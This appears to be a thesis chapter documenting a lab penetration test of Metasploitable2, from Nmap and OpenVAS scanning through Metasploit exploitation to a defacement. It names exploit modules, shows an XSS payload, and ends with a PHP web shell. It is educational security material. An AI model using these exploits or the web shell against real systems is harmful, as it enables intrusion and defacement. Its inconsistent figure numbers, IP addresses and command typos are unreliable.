[bookmark: _bookmark57][bookmark: _Toc170419735][bookmark: _Toc171011053]4.2. The Virtual Network System 
Defacement Attack: The Colombian Cybercrime Support Organisation "OADI" is dealing with a cybercrime issue on national territory where an apparent action by Black-Hackers hired on the Deep Web is indicated. OADI needs to analyse the method of intrusion and the steps followed by the Black-Hackers. It is taken into account for now that the attack started in the city of Bogota on 01 July 2018, the headquarters that was attacked has a DMZ in its network structure which is quite limited in I.T. resources as shown in Figure. 4.2. It can be seen that the attack was on the web server.
[bookmark: _bookmark58][image: ]
[bookmark: _Toc170419736]Figure 4.2. DMZ of Virtual Network 
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[bookmark: _bookmark59][bookmark: _Toc170419737][bookmark: _Toc171011054]4.3. Kali Linux Virtualisation and Installation

Figure 4.3 shows the use of the virtual machine with the Kali Linux operating system which has the private IP 192.168.1.109 and subnetting mask 255.255.255.0, this host will act as the attacking machine which was updated through "apt-get update" and "apt-get upgrade".
[image: ]
[bookmark: _bookmark60][bookmark: _Toc170419738]Figure 4.3. Kali Linux (Virtualised)

[bookmark: _Toc170419739][bookmark: _Toc171011055]4.4. Virtualisation and Installation of Metasploitable

Figure 4.4 shows the use of the virtual machine with the Linux 2.6 operating system (Metasploitable) which has the private IP 192.168.1.108 and subnetting mask 255.255.255.0, this host will act as the victim machine.
[image: ]
[bookmark: _bookmark62]Figure 4.4. Metasploitable2 (Virtualised)
[bookmark: _Toc170419740][bookmark: _Toc171011056]4.5. Pentesting Implementation
[bookmark: _bookmark64]Conducting a computer security audit through a systematised process such as the reconnaissance phase, vulnerability analysis phase, exploitation phase and report phase (Security Policies). Recognition phase. Corresponds to the identification of the host to be audited, in this phase only the NMAP tool will be used, which is the acronym for Network Mapper, which is undoubtedly a powerful computer security tool with GPL (General Public Licence), developed by the computer security expert Gordon Lyon, Its purpose is to perform security audits on a TCP/IP network in order to discover which hosts are available (online), as well as services with specific details, operating system recognition, firewall evaluation, intrusion detection and firewall evasion techniques, vulnerability identification, among others.
It sends packets of type SYN, ACK, NULL, XMAS and FIN, which are directed to certain ports (TCP and UDP) and these will respond to these requests, from these responses Nmap will interpret them and display the results on the screen. Zenmap is the graphical interpreter which has the same features, although it is advisable to use from the console of commands, as it allows greater control over the activity being carried out. The structure for executing certain commands in Nmap is as follows, as follows:
#nmap [Scan type] [Options] [Target(s)] #nmap -A -T4 8.8.8.8.8
#nmap -sV -p 22, 53,110, 192. 168. 0.1/ 24

Table 4.1 presents the main commands of the Nmap tool, listing the function and description of each one of them, as follows:
[bookmark: _bookmark65][bookmark: _Toc170419741]Table 4.1. Basic Nmap commands
	Function
	Command
	Description

	
	-Pn
	No ping

	
	-sL
	List Scan

	
	-sn
	Ping Sweep

	Host Recognition
	-PR
	Ping ARP

	
	-PS
	Ping TCP SYN

	
	-PA
	Ping TCP ACK

	
	-PU
	Ping UDP

	
	-PM
	ICMP Ping

	
	-PO
	IP Protocol Ping

	
	-PE
	Ping ICMP Echo

	
	-sT
	Connect

	
	-sS
	SYN Stealth

	
	-sU
	UPD Scan

	
	-sA
	TCP ACK

	
	-sN
	TCP NULL

	Port Watching
	-sF
	TCP FIN

	
	-sX
	XMas Scan

	
	-sO
	IP Protocol

	
	-sI
	Idle Scan (IP Zombie)

	
	-sM
	TCP Maimon

	
	-sW
	TCP Window

	
	--scanflags
	TCP Staff.

	
	-sY
	SCTP INIT







	Function
	Command
	Description

	
	-p
	Port range

	
	-r
	Sequential order

	
	-sV
	Discover versions

	
	-O
	Discover SO

	
	-f
	Fragment

	Other
	-S "IP
	IP spoofing

	
	-g "port
	Falsify port

	
	-T (0-5)
	Template times

	
	--script
	Employment script

	
	-A
	Aggressive analysis



With Nmap it is also possible to perform vulnerability scanning through the Nmap Scripting Engine - NSE option, although it is recommended to use other more complete tools for vulnerability scanning such as Nessus, OpenVAS, Retina, among others. The following structure allows vulnerability scanning to be carried out:
#Nmap [Scan type] [Options] [Target(s)] --script=vulnerability # nmap -n-Pn 8.8.8.8.8-p---script=vuln
Among the parameters that are implemented in the command-script are Auth (All script), Default (Basic script), Discovery (Target information), Intrusive (Intrusive script), Malware (Connections opened by such malicious software), Safe (Non-intrusive script), Vuln (Discovery of distinguished vulnerabilities), All (Execute all NSE script). Figure 4.5 shows the use of the NMAP tool in the virtual machine with the Kali Linux operating system, the parameter "nmap -sn 192.168.1.0/24" was used, this option allows a host analysis to find out which hosts are available on the subnet, this result corroborates that there are (5) five hosts.
[image: ]
[bookmark: _Toc170419742]Figure 4.5. Nmap - Recognising computers on the local network

Figure 6 shows the use of the NMAP tool in the virtual machine with the Kali Linux operating system, the parameter "nmap -sV 192.168.1.109" was used, this option allows an analysis of services and versions that the host (Metasploitable2) has with the private IP 192.168.1.109, it can be corroborated that there are (23) twenty three services.
[image: ]
[bookmark: _bookmark67][bookmark: _Toc170419743]Figure 4.6. Nmap - Service and version recognition

[bookmark: _bookmark68]Vulnerability analysis phase. Based on the information collected in the previous stage, we continue with the discovery of vulnerabilities in the host to be audited. We can use tools that automate the process of searching for weaknesses such as Nessus, OpenVAS, Retina, Acunetix and even NMAP itself; it could also be done manually in order to have greater control over the activity being carried out. OpenVAS is a powerful cross-platform (Windows, Linux, Solaris, etc.) computer security tool, its features have positioned it as one of the best at international level, it is a vulnerability scanner whose objective is to identify weaknesses in systems and services, as well as to discover incidents due to misconfigurations that can be exploited by computer criminals and compromise the security of systems.

OpenVAS has the particularity of guaranteeing the implementation of control, deterrence and prevention actions for cyber-attacks, as it provides information on methods and/or techniques to exploit vulnerabilities as well as on how to ensure protection against such threats. Figure 4.7 shows the authentication page and access to OpenVAS in the virtual machine with the Kali Linux operating system, the installation process was carried out through the Package Management System using the following sequence of commands, as follows:
root@kali:~# sudo apt-get install openvas
root@kali:~# openvas-setup
root@kali:~# openvas-start
root@kali:~# openvasmd --create-user root
root@kali:~# openvasmd --user=root --new-password=password

[bookmark: _bookmark69][image: ]
[bookmark: _Toc170419744]Figure 4.7.OpenVAS - Authentication Page

It should be borne in mind that during installation there may be shortcomings, to corroborate them you can use the command "openvas-check-setup", once installed you have a web browser to access "https://127.0.0.1:9392". In the default settings of the OpenVAS wizard, the IP of the host (Machine to be audited) on which the vulnerability scan will be performed must be registered, followed by the implementation of the necessary settings for the vulnerability scan management. Figure 4.8 shows the different results of the vulnerability discovery process with OpenVAS, observing that it orders them according to their priority, from high with (13) thirteen findings, medium with (21) twenty-one findings, low with (03) three findings and information with (65) sixty-five findings.
[image: ]
[bookmark: _Toc170419745]Figure 4.8. Report of vulnerabilities found with OpenVAS

Once the policy was available with advanced and deep scanning with the name "Metasploitable2" to the target with private IP "192.168.1.109". Figure 4.9 shows the individualised result of each finding, such as the detailed description of the vulnerability, severity, port located, technical concept of the vulnerability, type of solution, action concerning the solution, method of stopping the vulnerability, references, vulnerability detection date, vulnerable service, version of the solved resource (patch), etc. Evidencing services with a high level of risks that can be compromised (Exploited).


[image: ]
[bookmark: _bookmark71][bookmark: _Toc170419746]Figure 4.9. Identification of vulnerabilities found with OpenVAS

Vulnerability exploitation phase. Considered the most interesting and arduous phase, it must be carried out with rigour by the computer security auditor, the aim being to compromise the security of the system through techniques, abilities and skills intrinsic to the professional. It is carried out thanks to the information provided by the previous phases; in this applied project, the use of the Metasploit tool will be highlighted.
To understand the potential of Metasploit software it is necessary to understand some concepts of computer security, the vast majority of computer attacks today take advantage of design flaws or bugs in different computer programs, a computer application is an intellectual product made by humans, which is prone to errors at different stages of the life cycle, in that order of ideas provides a possibly reliable software but not safe. Reliable means that which it should do according to the instructions in its design, on the contrary, when it is a safe software it has the additional that it does what it should do and nothing more, that is to say, it does not allow other actions that are not the purpose for which it was designed, but it does not allow other actions that are not the purpose for which it was designed and written, but the reality is that the vast majority of the time there will be breaches that compromise security.
When this study assed aspects about a bug, it was referred to a failed performance in the software design that in many cases can be corrected at any stage through patches, although there is the term 0-Day which corresponds to a vulnerability not published and under reserve, preventing it from being known by computer security communities or by the software developer itself, thus it is a resource with a high level of risk that can be compromised.
An Exploit is an algorithm generally designed in the programming language C, Pythong, Java, Ruby, Assembler, among others, whose intention is to exploit an identified vulnerability (Bug), whether it is a denial of service, remote access control, information recognition, data capture, among others.  For the Exploit to be effective, it needs a Payload in some cases, which is a code instruction immersed in it, whose purpose is to be executed on the machine to be audited. That is to say, through the Exploit the Payload can be executed on the machine that is the object of the Pentesting, usually it is a reverse Shell, Bind Shell, sequence of pretermite instructions to be executed on the victim machine, etc.
Metasploit is a flagship regarding the implementation of a Pentesting, its architecture is based on three main pillars, such as libraries, interfaces and modules, it has about (06) six modules that give the potential to this tool, it is that central core that gives functionality to the Metasploit Framework, you can find the Payloads, Exploits, Encoders, Nops, Auxiliary and Post modules.
It is open source written in Ruby, it has (03) three versions which are Community Edition, Professional and Express. It is a Pentesting Framework with several functionalities used by computer security experts to carry out the different processes of penetration testing such as information gathering, vulnerability scanning, exploitation and post-exploitation. The Metasploit Framework is a sub-project with several modules to ensure maximum benefit. The interfaces of Metasploit are the graphical interface through Armitage and the web UI, and the command line interface through the msfconsole and msfcli commands.
The Framework tools contain specific functionalities that do not require loading the complete environment, through Msfpayload it is related to the Shellcodes, also with Msfencode it is linked to the methods for the masquerading as security software such as IDS, anti-virus and others.
Msfvenom is associated with unifying the tools Msfencode and msfpayload, with MSfpescan and Msfelfscan it is possible to scan files on Windows (Executables or DLL) and Linux (ELF) for machine code instructions, also with the useful Msfrop element it is possible to mitigate the effects of Data Execution Prevention with Return-Oriented Programming, Finally Msfd is a tool similar to the famous Netcat software. It is worth mentioning that it is possible to automate the exploitation process with the report generated by Nessusu OpenVASS, as it will provide information about those Exploits that can exploit the discovered vulnerabilities. Table 4.2 presents the main commands of the Metasploit tool, with a description of each of them, as follows:
[bookmark: _Toc170419747]Table 4.2. Basic Metasploit commands.	
	Command
	Description

	Help
	List of available commands

	Search
	Search modules according to the established parameters.

	Info
	Provide information on the established module.

	Show
	Provide the options available in the module.

	Use
	Selection of a module.

	Set
	Make settings in the module options.

	Setg
	Make configuration in module option (Global variable)

	Unset
	Unassigned the configuration in the module options.

	Unsetg
	Unassigned configuration in module options (Global variable)

	connect
	Initiate remote connection.

	Irb
	Ruby Interpreter (Hot Script Design)

	Load
	Load a parameter (Plugin)

	Exploit
	Launches the Exploit (With previously configured parameters)

	Sessions
	Lists the injuries available after compromising the system, has several parameters

	Resource
	Upload a file.

	Makers
	History file.

	Save
	It gives persistence to the pentesting work.

	Jobs
	Displays the modules loaded in the background.

	run
	Implementation of an auxiliary module


[bookmark: _bookmark74]
Proof of Concept 1 - CGI-PHP. According to the information provided in the OpenVAS vulnerability report, there is a high severity vulnerability related to the disclosure of information, allowing viewing the source code of files as well as executing PHP code in a CGI-based configuration. This vulnerability corresponds to PHP-CGI based configurations by parsing the query string parameters of PHP files. The Common Vulnerability Scoring System
CVSS gives it a rating of 7.5 points (High Vulnerability). Figure 4.10 shows the result detection of the vulnerability, it is contemplated that the computer security risk is presented when receiving a query string parameter processed through the command line, giving an example concerning the parameter (-s) that allows the output of the source in HTML syntax highlighted, in the following pattern it is possible to see the source code of the index.php file, as follows:
http://localhost/index.php?-s
It also communicates the way to fix the vulnerability (PHP versions
5.4.3 and 5.3.13 perform updates) and references related to the vulnerability (CVE-2012-1823).

[image: ]
[bookmark: _Toc170419748]Figure 4.10 PHP-CGI vulnerability scanning by OpenVASS
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[bookmark: _Toc170419749]Figure 4.11. Manual recognition of CGI vulnerability

Figure 4.11 shows the use of the Iceweasel web browser on the virtual machine with the Kali Linux operating system (attacking machine), accessing the web service provided by Apache on the machine to be audited, then the MySQL database administration tool through web pages such as phpMyAdmin. In the address bar the parameter "192.168.1.109/phpMyAdmin/?-s" (Option -S in php-cgi) is added, so it is possible to check the PHP-CGI vulnerability by providing the source code of vulnerable websites. It is also possible to execute code remotely via the "-d" option.
Figure 4.12 shows the information provided by the Vulnerability & Exploit Database tool regarding CGI PHP up to version 5.3.12 and 5.4.2, reporting an argument injection vulnerability. This action is carried out according to the data provided by OpenVASS in the references linked to the computer security vulnerability known as CVE-2012-1823.

[bookmark: _bookmark72][bookmark: _bookmark73][bookmark: _bookmark75][image: ]
[bookmark: _bookmark77][bookmark: _Toc170419750]Figure 4.12. CGI vulnerability scan, PHP (V 5.3.13 and 5.4.2)

Likewise, the name of the module in Metasploit, the authors, references, type of target, platform, architecture, confidentiality class, as well as the module's options for exploiting the vulnerability can be seen in figure 4.13.
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[bookmark: _bookmark78][bookmark: _Toc170419751]Figure 4.13. Exploit/multi/http/php_cgi_arg_injection module options

Figure 4.14 shows the information provided by the ExploitDatabase tool (Exploit-db) about the Exploit that exploits the vulnerability in CGI PHP up to version 5.3.12 and 5.4.2 (CVE: CVE-2012-1823) in Metasploit. Source - https://www.exploit-db.com/exploits/18836/ To start the process of exploiting the vulnerability, the Metasploit tool available on the virtual machine with the Kali Linux operating system (attacker machine) is used. In the command line "msfconsole" is typed before connecting to the PostgreSQL database management system "service postgresql start".
[image: ]
[bookmark: _Toc170419752]Figure 4.14. Exploit research CGI vulnerability, PHP (V 5.3.13 and 5.4.2)
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[bookmark: _Toc170419753]Figure 4.15 shows the main Metasploit interface, which currently has 1081 exploits

 177 Post, 288 Payloads, 29 Encoders and 8 nops. On this page it is possible to execute different commands related to the exploitation of vulnerabilities. Figure 15. Main screen of Metasploit software. Also, to optimise the process of searching for a module aimed at exploiting a vulnerability, the "search" command is used, adding the parameter related to the vulnerability, such as "search php_cgi". To obtain information about the module in Figure 13, the command is used as shown in Figure 4.15.
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[bookmark: _Toc170419754]Figure 4.15. Information from exploit/multi/http/php_cgi_arg_injection

Figure 4.16 shows the current configuration of the module 
[image: ]
[bookmark: _Toc170419755]Figure 4.16. Module "exploit/multi/http/php_cgi_arg_injection"

"exploit/multi/http/php_cgi_arg_injection" in the Metasploit tool, showing that it is required to register the destination address (Host to be audited), as well as having parameters related to the low level of URI encoding (0) and the destination port (80 HTTP). Figure 4.17 shows the configuration of the module "exploit/multi/http/php_cgi_arg_injection" in the Metasploit tool, showing the registration of the destination address (Host to be audited), selection of the Payload "php/meterpreter/reverse_tcp", the local address is specified (Attacking Machine) and the local port that the Payload will listen to is shown. Finally, the exploitation is carried out by obtaining a Metasploit Meterpreter session (command interpreter). Meterpreter is understood as a payload executed after the exploitation process in a very useful operating system, it is executed in memory as a process, in many cases evading security systems.
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[bookmark: _Toc170419756]Figure 4.17.Obtaining Meterpreter session

The sequences in figures 4.18 to Figure 4.21 show the list of files and directories in "/var/www", where the "index.html" file is hosted as part of the website provided by the Apache service of the Metasploitable2 operating system, and the algorithm of the file mentioned on the main page (accessed domain) is also shown, then HTML code is added to materialise the Defacement as an unauthorised activity that leads to the partial modification (manipulation) of a website. Finally, figure 4.22 shows the result of the website manipulation process, which corresponds to the Defacement of the index.php, in which the data of names, surnames and identification of the author of this project were entered, as well as the date and time when the operation was carried out.
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[bookmark: _Toc170419757]Figure 4.18. Listing of files and directories in /var/www
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[bookmark: _Toc170419758]Figure 4.19. Metasploitable2 Apache service website (Index.php)
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[bookmark: _Toc170419759]Figure 4.20. Sample file (var/www/index.php)
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[bookmark: _Toc170419760]Figure 4.21. Modification of var/www/index.php file (Defacement)
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[bookmark: _Toc170419761]Figure 4.22. Modified website (Defacement to index.php) in Metasploitable2

Proof of Concept 2 - VSFTPD 2.3.4. Continuing with the same procedure as in Proof of Concept concerning the identification of the vulnerability from the OpenVAS report, information provided by the Vulnerability & Exploit Database tool concerning the module data in Metasploit and information provided by the ExploitDatabase tool (Exploit-db) about the Exploit that exploits the identified vulnerability. Figure 24 examines the report provided by the Vulnerability & Exploit Database concerning the VSFTPD version 2.3.4 vulnerability, reporting that it is a module exploiting a backdoor that was attached to the archive, this security hole was in "vsftpd-2.3.4.tar.gz".This malware was removed on 3 July 2011.
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[bookmark: _bookmark90][bookmark: _Toc170419762]Figure 4.23. Investigation of the VSFTPD 2.3.4 vulnerability

Figure 25 also shows the available options of the exploit/unix/ftp/vsftpd_234_backdoor module to be used in Metasploit. 
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[bookmark: _Toc170419763]Figure 4.24. Exploit/unix/ftp/vsftpd_234_backdoor module options

Figure 4.25 analyses the information provided by the ExploitDatabase tool (Exploit-db) about the Exploit that exploits the vulnerability in VSFTPD version 2.3.4 in Metasploit. Source - https://www.exploit- db.com/exploits/17491/
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[bookmark: _Toc170419764][bookmark: _bookmark92]Figure 4.25. Exploit Research for VSFTPD 2.3.4

Figure 4.26 shows the configuration of the module "exploit/unix/ftp/vsftpd_234_backdoor" in the Metasploit tool, including the registration of the destination address (Host to be audited), selection of the Payload "cmd/unir/interact", and the remote port that will listen to the Payload (21 FTP). 
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[bookmark: _Toc170419765]Figure 4.26. Configuration to module "exploit/unix/ftp/vsftpd_234_backdoor"

Finally, exploitation is carried out, obtaining a shell with "root" privileges, as shown in Figure 4.27.
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[bookmark: _Toc170419766]Figure 4.27. Obtaining Shell session (Root)

Proof of Concept 3 - UnRealIRC 3.2.8.1. Continuing with the same procedure of the Proof of Concept 1 ...see numeral 3.5.3.1... in figure 4.28, the information can be seen that provided by the Vulnerability & Exploit Databa se tool regarding UnRealIRC version 3.2.8.1, reporting that it is a module that exploits a backdoor that was introduced to the download file of Unreal IRCD 3.2.8.1.
[image: ]
[bookmark: _Toc170419767]Figure 4.28. Vulnerability investigation UnRealIRC 3.2.8.1

This incident was evidenced in the archive "Unreal3.2.8.1.tar.gz", for a term of approximately eight months during 2009 and 2010. This backdoor was removed on 3 July 2011.  Figure 4.29 also shows the different alternatives present in the exploit/unix/irc/unreal_ircd_3281_backdoor module to be used in Metasploit.
[image: ]
[bookmark: _bookmark97][bookmark: _Toc170419768]Figure 4.29 Exploit/unix/irc/unreal_ircd_3281_backdoor Module Options

Figure 4.30 shows the information provided by the ExploitDatabase tool (Exploit-db) about the Exploit that exploits the vulnerability in Unreal IRCD version 3.2.8.1 (CVE: CVE-2010-2075) in Metasploit. 
[image: ]
[bookmark: _bookmark98][bookmark: _Toc170419769]Figure 4.30. Exploit research exploiting the Unreal IRCD 3.2.8 vulnerability

Figure 4.31 shows the configuration of the module "exploit/unix/irc/unreal_ircd_3281_backdoor" in the Metasploit tool, the register of the destination address (Host to audit) is shown, the remote port that will listen (6667) is specified. Finally, the exploitation is carried out, obtaining a shell with root privileges, as shown in Figure 4.31 in the Metasploit tool.
[bookmark: _bookmark99][image: ]
[bookmark: _Toc170419770]Figure 4.31. Configuration module "exploit/unix/irc/unreal_ircd_3281_backdoor".

[bookmark: _bookmark101]Proof of Concept 4 - Java RMI Server. Continuing with the same procedure of Proof of Concept. Figure 4.32 shows the information provided by the Vulnerability & Exploit Database tool regarding Java RMI Server Insecure default configuration Java Code Execution. This module exploits the RMI registry and service configuration, which supports mounting classes from different remote URLs. 
[bookmark: _bookmark102][image: ]
[bookmark: _Toc170419771]Figure 4.32. Java RMI Server vulnerability investigation


Figure 4.33 also shows the available options of the exploit/multi/misc/java_rmi_server module to be used in Metasploit.
[image: ]
[bookmark: _bookmark103][bookmark: _Toc170419772]Figure 4.33. Exploit/multi/misc/java_rmi_server module options

Figure 4.34 shows the information provided by the ExploitDatabase tool (Exploit-db) about the Exploit that exploits the Java RMI Server Insecure Java Code Execution default configuration vulnerability (CVE: CVE-2011-3556) in Metasploit.
[bookmark: _bookmark104][image: ]
[bookmark: _Toc170419773]Figure 36. Research Exploit exploiting the Java RMI Server vulnerability

Figure 4.34 shows the configuration of the module "exploit/multi/misc/java_rmi_server" in the Metasploit tool, showing the registration of the destination address (Host to audit), the remote port is specified (1099), local port to listen (8080). Finally, the exploitation is carried out by obtaining a Metasploit Meterpreter session (Command Interpreter).

[bookmark: _bookmark105][image: ]
[bookmark: _Toc170419774]Figure 4.35. Getting Meterpreter session

[bookmark: _bookmark106]Proof of Concept 5 - Samba (v3.0.20 to 3.0.25rc3). Continuing with the same procedure of the proof of concept 1 ...see numeral 3.5.3.1... Figure 4.36 shows the information provided by the Vulnerability & Exploit Database tool about the weakness related to the implementation of commands in Samba in versions 3.0.20 to 3.0.25rc3. 
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[bookmark: _bookmark107][bookmark: _Toc170419775]Figure 4.36. Samba Vulnerability Scan (v3.0.20 to 3.0.25rc3)

Figure 4.37 also shows the different alternatives present in the exploit/multi/samba/usermap_script module to be used in Metasploit.
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[bookmark: _bookmark108][bookmark: _Toc170419776]Figure 4.37. Exploit/multi/samba/usermap_script module options

Figure 4.38 shows the information provided by the ExploitDatabase tool (Exploit-db) about the Exploit that exploits the computer weakness related to the execution of commands in Samba versions 3.0.20 to 3.0.25rc3 when using the non-default "username script" configuration option (CVE: CVE-2007-2447) in Metasploit. Source - https://www.exploit-db.com/exploits/16320/.

[bookmark: _bookmark109][image: ]
[bookmark: _Toc170419777]Figure 4.39. Research Exploit that Samba (v3.0.20 to 3.0.25rc3

Figure 4.40 shows the modified configuration of the "exploit/multi/samba/usermap_script" module in the Metasploit tool, showing the registration of the destination address (host to be audited) and the remote port (139). Finally, the exploitation is carried out and a shell is obtained as shown in figure 42 a in the Metasploit tool.
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[bookmark: _Toc170419778]Figure 4.40. Configuration module "exploit/unix/irc/unreal_ircd_3281_backdoor"

[bookmark: _bookmark110][image: ]
[bookmark: _bookmark111][bookmark: _Toc170419779]Figure 4.41. Obtaining Shell session (Root)

[bookmark: _bookmark112]Proof of Concept 6 - Unpassworded Account Check and Ingreslock Backdoor (Port 1524). Figure 4.42 shows the process of accessing the MySQL (Database Management System) database service remotely, the vulnerability is present because the "root" account does not have a password, gaining full access to all registered databases.
[bookmark: _bookmark113][image: ]
[bookmark: _Toc170419780]Figure 4.42. MySQL - Unpassworded Account Check

Figure 4.43 shows the process of accessing the Telnet service through port "1524", which is the "Ingreslock - Transmission Control Protocol" port considered as a backdoor. These two vulnerabilities are reported by OpenVAS.
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[bookmark: _bookmark114][bookmark: _Toc170419781]Figure 4.43. Telnet - Ingreslock Backdoor (Port 1524)

[bookmark: _bookmark115]Proof of concept 7 - dictionary attack. Exploiting authentication control, the effectiveness of the attack is due to the use of unsecured credentials, when a database has weak passwords it provides opportunities to be compromised through brute force or dictionary attacks. The attack technique consists of consecutively using the terms stored in the dictionary to validate the correct credential. The most common passwords that do not comply with security policies are those that contain personal data of the user or company, numerical sequences from the keyboard, short passwords, not using a combination of numbers, letters and special symbols. These credentials can often be obtained through social engineering to subsequently customise the dictionary according to the victim's profile. The effectiveness of the attack is based on the data processing capacity to speed up the process of checking and combining credentials. Figure 4.44 shows the configuration process of the module "auxiliary/scanner/postgres/postgres/postgres_login" in the Metasploit tool, this is a module that allows a dictionary attack on the service

Postgres also registers the parameter so that it stops when it has found the correct credentials, victim host, etc. During the process it found the user "postgres" and key "postgres".
[bookmark: _bookmark116][image: ]
[bookmark: _Toc170419782]Figure 4.44. Configuration of auxiliary/scanner/postgres/postgres/postgres_login module

Subsequently, figure 4.45 shows the process of accessing the PostgreSQL database service (Database Management System) remotely, registered with the user "postgres" and password "postgres", this vulnerability is due to the lack of robust and/or secure credentials.
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[bookmark: _bookmark117][bookmark: _Toc170419783]Figure 4.44. Postgress - Entry to the service thanks to the dictionary attack

[bookmark: _bookmark118]Proof of Concept 8 - Samba Symlink Traversal. Corresponds to the computer attack that takes advantage of Samba shared resources, it is carried out according to the same procedure of the proof of concept 1. Figure 4.45 shows the information provided by the Vulnerability & Exploit Database tool about the directory traversal vulnerability in the CIFS (Common Internet File System) server of Samba, by specifying a writable shared resource creating a directory linked to the affected system (root file).
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[bookmark: _bookmark119][bookmark: _Toc170419784]Figure 4.45. Samba Symlink Traversal Vulnerability Investigation

Figure 4.46 also shows the available options of the auxiliary/admin/smb/samba_symlink_traversal module to be used in Metasploit.
[bookmark: _bookmark120][image: ]
[bookmark: _Toc170419785]Figure 4.46 Auxiliary/admin/smb/samba_symlink_traversal module options

Figure 4.46 shows the information provided by the ExploitDatabase tool (Exploit-db) about the Exploit that exploits the directory traversal vulnerability in the CIFS (Common Internet File System) server of Samba, by specifying a writable share creating a directory linked to the affected system (CVE: CVE-2010-0926) in Metasploit. 
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[bookmark: _bookmark121][bookmark: _Toc170419786]Figure 4.47. Exploit Research for Samba Symlink Traversal

For the attack to succeed, it is necessary to know a Samba share (Move files to and from the shares on the SMB server), with the "smbclient" client it is possible to know this information through the following parameter "smbclient-L 192.168.0.109". Figure 4.47 shows the shared resource "tmp". While Figure 4.48 shows the configuration of the module : 
  "auxiliary/admin/smb/samba_symlink_traversal" in the Metasploit tool, showing the registration of the destination address (Host to be audited), the remote port (445), the name of a writable shared resource on the server and the name of the directory that should point to the root file system. Finally, the operation is carried out by accessing again with the client "smbclient" to the shared resources "smbclient //192.168.0.16/tmp".
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[bookmark: _Toc170419787]Figure 4.48.  SAMBA share verification (smbclient)

[bookmark: _bookmark122]Finally, the operation is carried out by accessing again with the client "smbclient" to the shared resources "smbclient //192.168.0.16/tmp".
[bookmark: _bookmark123][image: ]
[bookmark: _Toc170419788]Figure 4.49. MB shared resource access
[bookmark: _bookmark124]
Proof of Concept 9 - Tomcat. Continuing with the same procedure of the proof of concept 1 see numeral 3.5.3.1... Figure 4.49 shows the information provided by the Vulnerability & Exploit Database tool about the vulnerability that allows detecting the Tomcat administration interface (Versions 5.5 and earlier). 
[image: ]
[bookmark: _bookmark125][bookmark: _Toc170419789]Figure 4.48. Tomcat Administration vulnerability scan

Figure 4.49 also shows the different alternatives present in the auxiliary/admin/http/tomcat_administration module to be used in Metasploit.
[bookmark: _bookmark126][image: ]
[bookmark: _Toc170419790]Figure 4.49. Auxiliary/admin/http/tomcat_administration module options

Figure 4.50 shows the configuration of the module "auxiliary/admin/http/tomcat_administration" in the Metasploit tool, showing that it is required to register the destination address (Host to audit) and specify the remote port (8180). Finally the Exploit is launched obtaining the administration interface of "tomcat/tomcat".
[bookmark: _bookmark127][image: ]
[bookmark: _Toc170419791]Figure 4.50. Configuration of the module "auxiliary/admin/http/tomcat_administration".

Figure 4.51 also shows the information provided by the Vulnerability & Exploit Database tool regarding the vulnerability of default access to the Tomcat administration tool. This action is carried out according to the data provided by OpenVASS, in the references linked to the computer security vulnerability known as CVE-2009-3548.
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[bookmark: _bookmark128][bookmark: _Toc170419792]Figure 4.51. Tomcat Manager Vulnerability Investigation

Again, Figure 4.51 shows the available options of the exploit/multi/http/tomcat_mgr_deploy module to be used in Metasploit.
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[bookmark: _bookmark129][bookmark: _Toc170419793]Figure 4.52. Exploit/multi/http/tomcat_mgr_deploy module options

Figure 4.52 shows the modified configuration of the "exploit/multi/http/tomcat_mgr_deploy" module in the Metasploit tool, showing the registration of the destination address (Host to be audited), the access credentials, URI path, remote port (8180), selection of the Payload "php/meterpreter/reverse_tcp", the local address (Attacking Machine), local port that will listen to the Payload (4444) is specified. Finally, the exploitation is performed obtaining a Metasploit Meterpreter session (Command Interpreter) as shown in figure 4.53.
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[bookmark: _bookmark130][bookmark: _Toc170419794]Figure 4.53. Configuration of the module "exploit/multi/http/tomcat_mgr_deploy"
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[bookmark: _bookmark131][bookmark: _Toc170419795]Figure 4.54 Getting Meterpreter session

[bookmark: _bookmark132]Proof of Concept 10 - CCS and Trojan PHP (DVWA). Vulnerabilities in web applications are unexpected behaviours, categorised as weaknesses that can be exploited by cybercriminals. Metasploitable2 has the DVWA project - Damn Vulnerable Web Application, which corresponds to a web security training tool designed for PHP and MySQL, the objective is the exploitation of computer vulnerabilities with 3 different levels of difficulty. Further, Figure 4.55 shows the Stored Cross Site Scripting vulnerability page of the DVWA project with a low level of difficulty, also known as direct Cross Site Scripting, which allows the attacker to insert HTML or Javascript instructions into the vulnerable web application, leading to cookie theft, redirection to external web pages, malicious file uploading, web page modification (Defacement), etc. 
When inserting code into the form it is evident that it has a restriction on the number of characters to be received, which can easily be circumvented by modifying the source code of the vulnerable web, specifically the maxlenght parameter.
<td>
<textarea>
maxlenght="50" rows="3" cols="50" name="mtxMessage">
</textarea
</td>
</tr> By:
<td>
<textarea>
maxlenght="500" rows="3" cols="50" name="mtxMessage">
</textarea>
</td>
</tr>

[bookmark: _bookmark133][image: ]
[bookmark: _Toc170419796]Figure 4.55. Stored Cross Site Scripting (DVWA - Metasploitable)

Figure 4.56 shows the use of the Iceweasel web browser on the virtual machine with the Kali Linux operating system (Attacker machine), on the Stored Cross Site Scripting vulnerability page it is verified whether it can be exploited by inserting the following code, as follows:
Name: XSS
Message: <script>alert('Vulnerability: Cross Site Scripting')</script>

The instruction "alert()" is from the interpreted programming language JavaScript, it will display the message "XSS Vulnerability" on the user's screen as shown in Figure 4.56, thus it can be assumed that it is possible to embed instructions in the web page. The power of this technique is that any user through any host, regardless of the web browser used, can compromise its security and not that of the server (Host hosting the DVWA project).
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[bookmark: _bookmark134][bookmark: _Toc170419797]Figure 4.56. CSS vulnerability check
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[bookmark: _bookmark135][bookmark: _Toc170419798]Figure 4.57. CSS vulnerability check

There is a really interesting attack technique called File Upload, the purpose of which is to upload instructions to the server that generally have malicious purposes, such as a shell written in PHP. The method of exploitation consists of exploiting vulnerabilities in forms designed to upload certain types of files (Multimedia). DVWA link http://192.168.1.109/DVWA-master/vulnerabilities/upload/. Figure 4.58 shows the File Upload vulnerability page of the Damn Vulnerable Web Application - DVWA project with a low level of difficulty, it shows the existence of a form (Input file type) that informs about the possibility of uploading an image, this vulnerability can be exploited because the script does not check the type of file uploaded, in general, different types of attacks are carried out with PHP files. A simple method to check if it is vulnerable is through a PHP shell that allows to execute commands thanks to the "system():" function, like the following one, like this:
<?php
$cmd = $_GET["cmd"]; system($cmd);
?>

